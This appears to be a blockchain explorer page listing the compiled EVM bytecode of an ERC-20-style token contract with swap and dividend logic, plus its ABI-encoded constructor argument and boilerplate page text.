0000000000000000000000007a3ff9bf0040757da7ed6eef8f0fbad1e34320782611fef565b505050505050565b6000601454601354610cc191906130bf565b3360009081526007602090815260408083206001600160a01b0386168452909152812054828110156112b55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610d5d565b6112c2338585840361153a565b5060019392505050565b600080735f4ec3df9cbd43714fe2740f5e3616155c5b84196001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a060405180830381865afa158015611321573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113459190613149565b5050509150506305f5e1008161135b9190613199565b91505090565b6000610c9e3384846115e9565b834211156113925760405163313c898160e11b815260048101859052602401610d5d565b60007f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98888886113df8c6001600160a01b0316600090815260026020526040902080546001810190915590565b6040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810186905260e001604051602081830303815290604052805190602001209050600061143a82612372565b9050600061144a8287878761239f565b9050896001600160a01b0316816001600160a01b031614611491576040516325c0072360e11b81526001600160a01b0380831660048301528b166024820152604401610d5d565b61149c8a8a8a61153a565b50505050505050505050565b6114b0611afb565b6012805462ff000019169055565b3415610f4657610f4633346123cd565b6114da6009600a613086565b610f3890621e8480613095565b6114ef611afb565b6001600160a01b03811661151957604051631e4fbdf760e01b815260006004820152602401610d5d565b61152281612117565b50565b61152d611afb565b6012805461ff0019169055565b6001600160a01b03831661156157604051633ec81b6d60e21b815260040160405180910390fd5b6001600160a01b038216611588576040516347242c1560e11b815260040160405180910390fd5b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166116105760405163f38f85c360e01b815260040160405180910390fd5b6001600160a01b0382166116375760405163a38ca3d960e01b815260040160405180910390fd5b806000036116585760405163ef4f660360e01b815260040160405180910390fd5b61166183610fec565b8111156116725780610e2684610fec565b6001600160a01b038381167f0000000000000000000000001b4cdfb713f81c33d359c9d4e4b0dbf6ad7696818216908114918416146116b96003546001600160a01b031690565b6001600160a01b0316856001600160a01b0316141580156116e857506003546001600160a01b03858116911614155b801561172657507f000000000000000000000000d57bb763c541f2ab0deee6b3fdc7a26912a8e1cb6001600160a01b0316856001600160a01b031614155b801561176457507f000000000000000000000000d57bb763c541f2ab0deee6b3fdc7a26912a8e1cb6001600160a01b0316846001600160a01b031614155b15611a145760125460ff166117c5577f000000000000000000000000d57bb763c541f2ab0deee6b3fdc7a26912a8e1cb6001600160a01b0316856001600160a01b0316146117c55760405163bcb8b8fb60e01b815260040160405180910390fd5b601254610100900460ff161561180e576117e16009600a613086565b6117ee90621e8480613095565b83111561180e576040516389e4ac6d60e01b815260040160405180910390fd5b80158015611824575060125462010000900460ff165b15611875576118356009600a613086565b61184290621e8480613095565b8361184c86610fec565b61185691906130bf565b111561187557604051630949534d60e31b815260040160405180910390fd5b60006118a07f000000000000000000000000d57bb763c541f2ab0deee6b3fdc7a26912a8e1cb610fec565b90506118ae6009600a613086565b6118b9906064613095565b81101580156118d257506012546301000000900460ff16155b80156118dc575082155b801561190157506001600160a01b03861660009081526008602052604090205460ff16155b801561192657506001600160a01b03851660009081526008602052604090205460ff16155b15611a12576012805464ff000000001916640100000000179055611949816121c3565b6012805464ff00000000191690556001600160a01b037f000000000000000000000000d57bb763c541f2ab0deee6b3fdc7a26912a8e1cb16318015611a10576119bc7f00000000000000000000000007a3ff9bf0040757da7ed6eef8f0fbad1e3432076119b760028461310b565b611fef565b611a107f000000000000000000000000d57bb763c541f2ab0deee6b3fdc7a26912a8e1cb7f000000000000000000000000d57bb763c541f2ab0deee6b3fdc7a26912a8e1cb6001600160a01b0316316123cd565b505b505b6001600160a01b03851660009081526008602052604090205460019060ff1680611a5657506001600160a01b03851660009081526008602052604090205460ff165b80611a68575082158015611a68575081155b15611a7557506000611aef565b828015611a9f57506001600160a01b038516737a250d5630b4cf539739df2c5dacb4c659f2488d14155b15611ab457611aac611221565b601b55611aef565b818015611ade57506001600160a01b038616737a250d5630b4cf539739df2c5dacb4c659f2488d14155b15611aeb57611aac610d85565b5060005b61121986868684611c53565b6003546001600160a01b03163314610f465760405163118cdaa760e01b8152336004820152602401610d5d565b6000306001600160a01b037f000000000000000000000000d57bb763c541f2ab0deee6b3fdc7a26912a8e1cb16148015611b8157507f000000000000000000000000000000000000000000000000000000000000000146145b15611bab57507f1b366cceaa99b1848cecb055f32ba475a1c912ce88ca7ac7628c0f9d779edb0190565b610cc1604080517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60208201527f6a2dab0f90723b911693a231b5651727c789725f1e2f7a3378484476385beb26918101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a082015260009060c00160405160208183030381529060405280519060200120905090565b80611c5e576000601b555b611c698484846124eb565b50505050565b8015611c7e57611c7e82612880565b6001600160a01b0382166000908152600e60205260409020548015611fea578115611e135780600d54611cb191906130bf565b600d5533600090815260106020526040902054611ccf9082906130bf565b33600090815260106020526040908190209190915551632e1a7d4d60e01b81526004810182905273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc290632e1a7d4d90602401600060405180830381600087803b158015611d2f57600080fd5b505af1158015611d43573d6000803e3d6000fd5b5050336000818152600e6020526040812055611d6192509050610fec565b600003611d7957336000908152600f60205260408120555b6040516000908190339084908381818185875af1925050503d8060008114611dbd576040519150601f19603f3d011682016040523d82523d6000602084013e611dc2565b606091505b5091509150336001600160a01b03167f3f3534f38bfcd8fe13b4e325a8fdd964767f2eb362ba0b4591c6e2c7af7d3b95848484604051611e04939291906131c7565b60405180910390a25050505050565b80600d54611e2191906130bf565b600d556001600160a01b037f000000000000000000000000d57bb763c541f2ab0deee6b3fdc7a26912a8e1cb16600090815260106020526040902054611e689082906130bf565b7f000000000000000000000000d57bb763c541f2ab0deee6b3fdc7a26912a8e1cb6001600160a01b0316600090815260106020526040908190209190915551632e1a7d4d60e01b81526004810182905273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc290632e1a7d4d90602401600060405180830381600087803b158015611ef157600080fd5b505af1158015611f05573d6000803e3d6000fd5b5050506001600160a01b0384166000908152600e602052604081205550611f2b83610fec565b600003611f4c576001600160a01b0383166000908152600f60205260408120555b611f767f000000000000000000000000d57bb763c541f2ab0deee6b3fdc7a26912a8e1cb826123cd565b604080516000815260208101918290526001600160a01b037f000000000000000000000000d57bb763c541f2ab0deee6b3fdc7a26912a8e1cb16917f3f3534f38bfcd8fe13b4e325a8fdd964767f2eb362ba0b4591c6e2c7af7d3b9591611fe19185916001916131c7565b60405180910390a25b505050565b600080836001600160a01b03168360405160006040518083038185875af1925050503d806000811461203d576040519150601f19603f3d011682016040523d82523d6000602084013e612042565b606091505b50915091507f0d67812e32667c9a1f5623daf46c353512f04a065fbc75efb4b34c5535a3aa2e83838360405161207a939291906131c7565b60405180910390a150505050565b600060115482111561209957600080fd5b601254640100000000900460ff161580156120bd57506012546301000000900460ff165b6120d8576120c96128d7565b6120d3908361310b565b610ca2565b6120e4600960026130d2565b6120ef90600a613086565b6120fb6009600a613086565b6121059190613095565b61210d6128d7565b610ca2919061310b565b600380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6060610cc17f427572790000000000000000000000000000000000000000000000000000000460006128ef565b6060610cc17f310000000000000000000000000000000000000000000000000000000000000160016128ef565b6012805463ff000000191663010000001790556040805160028082526060820183526000926020830190803683370190505090507f000000000000000000000000d57bb763c541f2ab0deee6b3fdc7a26912a8e1cb8160008151811061222b5761222b6131f1565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110612273576122736131f1565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63791ac947836000847f000000000000000000000000d57bb763c541f2ab0deee6b3fdc7a26912a8e1cb6122d6426107086130bf565b6040518663ffffffff1660e01b81526004016122f6959493929190613207565b600060405180830381600087803b15801561231057600080fd5b505af1158015612324573d6000803e3d6000fd5b505050507fa77f6684810824c8f4337c03df98c69aba922990d3c0514c8cc8b1b93850d60f8260405161235991815260200190565b60405180910390a150506012805463ff00000019169055565b6000610ca261237f611b28565b8360405161190160f01b8152600281019290925260228201526042902090565b6000806000806123b18888888861299a565b9250925092506123c18282612a69565b50909695505050505050565b80156124e757816001600160a01b03167f3551eb798c38fcf33956839d508956453de0921c70b005cd630e8ae3eac33c078260405161240e91815260200190565b60405180910390a280600c5461242491906130bf565b600c55600a54612436600960026130d2565b61244190600a613086565b61244d6009600a613086565b6124579190613095565b6124619083613095565b61246b919061310b565b600b5461247891906130bf565b600b8190555073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b1580156124cd57600080fd5b505af11580156124e1573d6000803e3d6000fd5b50505050505b5050565b6124f483612880565b6124fd82612880565b6012546301000000900460ff1615806125205750601254640100000000900460ff165b156127b857600061253084610fec565b9050600061253d84610fec565b9050600080600080600061255088612b22565b955050945094509450945084600560008c6001600160a01b03166001600160a01b031681526020019081526020016000205461258c91906130ac565b6001600160a01b03808c1660009081526005602052604080822093909355908b16815220546125bc9085906130bf565b6001600160a01b038a166000908152600560205260409020556125dd6128d7565b6125e79082613095565b6001600160a01b037f000000000000000000000000d57bb763c541f2ab0deee6b3fdc7a26912a8e1cb1660009081526005602052604090205461262a91906130bf565b6001600160a01b037f000000000000000000000000d57bb763c541f2ab0deee6b3fdc7a26912a8e1cb166000908152600560205260409020556011546126719084906130ac565b6011556001600160a01b038a1660009081526009602052604090205460ff1680156126b557506001600160a01b03891660009081526009602052604090205460ff16155b156126df57856126c48a610fec565b6126ce91906130ac565b600a546126db91906130bf565b600a555b6001600160a01b038a1660009081526009602052604090205460ff1615801561272057506001600160a01b03891660009081526009602052604090205460ff165b1561275f5760006127308b610fec565b61273a90896130ac565b905080600a541161274c57600161275a565b80600a5461275a91906130ac565b600a55505b886001600160a01b03168a6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127a491815260200190565b60405180910390a350505050505050612806565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516127fd91815260200190565b60405180910390a35b6001600160a01b0383166000908152600e602052604090205415801590612833575061283183610fec565b155b1561284357612843836000611c6f565b6001600160a01b0382166000908152600e602052604090205415801590612870575061286e82610fec565b155b15611fea57611fea826000611c6f565b6001600160a01b03811660009081526009602052604090205460ff16611522576128a981610e8c565b6001600160a01b0382166000908152600e6020908152604080832093909355600b54600f9091529190205550565b600067016345785d8a0000601154610cc1919061310b565b606060ff83146129095761290283612b76565b9050610ca2565b81805461291590612f52565b80601f016020809104026020016040519081016040528092919081815260200182805461294190612f52565b801561298e5780601f106129635761010080835404028352916020019161298e565b820191906000526020600020905b81548152906001019060200180831161297157829003601f168201915b50505050509050610ca2565b600080807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08411156129d55750600091506003905082612a5f565b604080516000808252602082018084528a905260ff891692820192909252606081018790526080810186905260019060a0016020604051602081039080840390855afa158015612a29573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116612a5557506000925060019150829050612a5f565b9250600091508190505b9450945094915050565b6000826003811115612a7d57612a7d61327a565b03612a86575050565b6001826003811115612a9a57612a9a61327a565b03612ab85760405163f645eedf60e01b815260040160405180910390fd5b6002826003811115612acc57612acc61327a565b03612aed5760405163fce698f760e01b815260048101829052602401610d5d565b6003826003811115612b0157612b0161327a565b036124e7576040516335e2f38360e21b815260048101829052602401610d5d565b6000806000806000806000806000612b3e8a6000601b54612bb5565b9250925092506000806000612b5c8d8686612b576128d7565b612c0e565b919f909e50909c50959a5093985091965092945050505050565b60606000612b8383612c5d565b604080516020808252818301909252919250600091906020820181803683375050509182525060208101929092525090565b60008080806064612bc68789613095565b612bd0919061310b565b905060006064612be0878a613095565b612bea919061310b565b905080612bf7838a6130ac565b612c0191906130ac565b9891975095509350505050565b6000808080612c1d8589613095565b90506000612c2b8689613095565b905081612c388789613095565b612c4283856130ac565b612c4c91906130ac565b909a90995090975095505050505050565b600060ff8216601f811115610ca257604051632cd44ac360e21b815260040160405180910390fd5b6000815180845260005b81811015612cab57602081850181015186830182015201612c8f565b506000602082860101526020601f19601f83011685010191505092915050565b602081526000612cde6020830184612c85565b9392505050565b80356001600160a01b0381168114612cfc57600080fd5b919050565b60008060408385031215612d1457600080fd5b612d1d83612ce5565b946020939093013593505050565b600080600060608486031215612d4057600080fd5b612d4984612ce5565b9250612d5760208501612ce5565b9150604084013590509250925092565b600060208284031215612d7957600080fd5b612cde82612ce5565b600060208284031215612d9457600080fd5b5035919050565b600080600060408486031215612db057600080fd5b833567ffffffffffffffff80821115612dc857600080fd5b818601915086601f830112612ddc57600080fd5b813581811115612deb57600080fd5b876020828501011115612dfd57600080fd5b6020928301989097509590910135949350505050565b60ff60f81b881681526000602060e06020840152612e3460e084018a612c85565b8381036040850152612e46818a612c85565b606085018990526001600160a01b038816608086015260a0850187905284810360c08601528551808252602080880193509091019060005b81811015612e9a57835183529284019291840191600101612e7e565b50909c9b505050505050505050505050565b600080600080600080600060e0888a031215612ec757600080fd5b612ed088612ce5565b9650612ede60208901612ce5565b95506040880135945060608801359350608088013560ff81168114612f0257600080fd5b9699959850939692959460a0840135945060c09093013592915050565b60008060408385031215612f3257600080fd5b612f3b83612ce5565b9150612f4960208401612ce5565b90509250929050565b600181811c90821680612f6657607f821691505b602082108103612f8657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115612fdd578160001904821115612fc357612fc3612f8c565b80851615612fd057918102915b93841c9390800290612fa7565b509250929050565b600082612ff457506001610ca2565b8161300157506000610ca2565b816001811461301757600281146130215761303d565b6001915050610ca2565b60ff84111561303257613032612f8c565b50506001821b610ca2565b5060208310610133831016604e8410600b8410161715613060575081810a610ca2565b61306a8383612fa2565b806000190482111561307e5761307e612f8c565b029392505050565b6000612cde60ff841683612fe5565b8082028115828204841417610ca257610ca2612f8c565b81810381811115610ca257610ca2612f8c565b80820180821115610ca257610ca2612f8c565b60ff81811683821602908116908181146130ee576130ee612f8c565b5092915050565b634e487b7160e01b600052601260045260246000fd5b60008261311a5761311a6130f5565b500490565b8183823760009101908152919050565b805169ffffffffffffffffffff81168114612cfc57600080fd5b600080600080600060a0868803121561316157600080fd5b61316a8661312f565b945060208601519350604086015192506060860151915061318d6080870161312f565b90509295509295909350565b6000826131a8576131a86130f5565b600160ff1b8214600019841416156131c2576131c2612f8c565b500590565b83815282151560208201526060604082015260006131e86060830184612c85565b95945050505050565b634e487b7160e01b600052603260045260246000fd5b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b818110156132595784516001600160a01b031683529383019391830191600101613234565b50506001600160a01b03969096166060850152505050608001529392505050565b634e487b7160e01b600052602160045260246000fdfea2646970667358221220ae91315ad01940209a1139ad6de8e0f33d78ba6b9ecc54898ba52f4b5a7481c364736f6c63430008170033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

fd64422e8b5fc312a1bd8809ecf6c10f87f7be432e343f17ccf9ec1a8685bfe0

-----Decoded View---------------
Arg [0] : _KECCAK256_SEED (uint256): 114612292168138472302586894876331366052202244984104363935812669031195777286112

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : fd64422e8b5fc312a1bd8809ecf6c10f87f7be432e343f17ccf9ec1a8685bfe0


Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.